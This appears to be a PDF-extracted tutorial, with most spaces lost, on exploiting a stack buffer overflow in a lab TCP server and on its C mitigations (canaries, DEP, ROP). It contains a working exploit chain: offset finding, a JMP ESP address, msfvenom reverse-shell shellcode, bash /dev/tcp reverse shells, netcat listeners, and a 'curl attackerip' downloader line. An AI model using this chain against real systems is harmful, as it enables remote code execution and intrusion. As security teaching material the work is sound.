Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
